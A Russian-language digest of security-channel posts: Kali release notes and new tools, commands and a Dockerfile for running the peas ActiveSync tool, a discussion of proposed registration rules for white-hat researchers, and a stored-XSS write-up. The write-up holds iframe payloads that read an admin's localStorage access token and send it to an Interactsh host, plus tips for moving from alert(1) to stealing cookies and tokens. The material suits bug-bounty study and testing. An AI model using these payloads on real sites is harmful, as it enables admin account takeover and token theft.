➖ Caido / Caido-cli — полноценный десктоп + серверная часть для web-аудита
➖Detect It Easy (DiE) — определение форматов PE, ELF и др.
➖Gemini CLI — опенсорс агент ИИ в терминале
➖krbrelayx — атаки Kerberos relay + abuse unconstrained delegation
➖ligolo-mp — мультипользовательский пивотинг
➖llm-tools-nmap — nmap через LLM
➖mcp-kali-server — настройка MCP-сервера
➖patchleaks — анализ патчей и поиск свежих CVE
➖vwifi-dkms — фейковые Wi-Fi сети

➖плагин VPN IP panel в Xfce теперь дает возможность выбрать отслеживаемый интерфейс для удобного копирования IP-адреса VPN-соединения в буфер обмена;
➖Kali прекращает поддержку ARMel (Acorn RISC Machine, Little-Endian);
➖появилась возможность устанавливать модули ядра с Magisk, но разработчики предупреждают, что пока это экспериментальная версия.

git clone https://github.com/snovvcrash/peas ~/tools/peas-m && cd ~/tools/peas-m
python3 -m virtualenv --python=/usr/bin/python venv && source ./venv/bin/activate

FROM python:2.7-slim

RUN sed -i 's|deb.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
    sed -i 's|security.debian.org|archive.debian.org|g' /etc/apt/sources.list && \
    apt update && \
    apt install -y git build-essential libxml2-dev libxslt1-dev libffi-dev libssl-dev

RUN git clone https://github.com/snovvcrash/peas /opt/peas
WORKDIR /opt/peas

RUN pip install -r requirements.txt

ENTRYPOINT ["python", "-m", "peas"]

sudo docker build -t peas-py2 .

sudo docker run --rm --net=host -v "$PWD/peas-out":/opt/peas/out peas-py2 -u 'DOMEN\test' -p 'Password123' example.com --list-unc='\\DC-name\' --check

— публичные bug bounty-программы;
— внутренние bug bounty;
— любые независимые исследования;
— пентесты по договорам.

— Создание реестра сертифицированных исследователей;
— Идентификация и аккредитация всех white-hat'ов;
— Жёсткие правила обработки и передачи уязвимостей;
— Обязательное уведомление не только владельца ресурса, но и силовые ведомства;
— Работа вне аккредитованных площадок — под запретом.

— Реестр = деанонимизация → угроза для безопасности исследователей.
— Падение числа участников bug bounty.
— Псевдонимы — не про “анонимность”, а про риски.

<h1>Test</h1>    <!-- изменение размера шрифта -->

<img src="x">    <!-- битая картинка -->
<input>          <!-- лишний input на странице -->

<iframe src="javascript:alert(localStorage.accessToken)"></iframe>

<iframe src="javascript:fetch('//your.interact.sh?token=' + localStorage.accessToken)"></iframe>

🔴Инъекция сохраняется в БД (Stored)
🔴Отрабатывает на стороне администратора
🔴Через XSS читается accessToken из localStorage

🔴Захват токена администратора
🔴Возможность делать запросы от его имени
🔴Потенциальный full access к admin-панели

🔴 Ищите HTML-теги, которые влияют на DOM (текст, форма, медиа)
🔴 Проверяйте innerHTML, outerHTML, dangerouslySetInnerHTML в React
🔴Тестируйте на img, input, iframe, svg, math, script и template
🔴 Не ограничивайтесь alert(1), пробуйте localStorage, fetch, document.cookie, navigator, location
🔴 Используйте Interactsh, Burp Collaborator, xsshunter для подтверждения уязвимости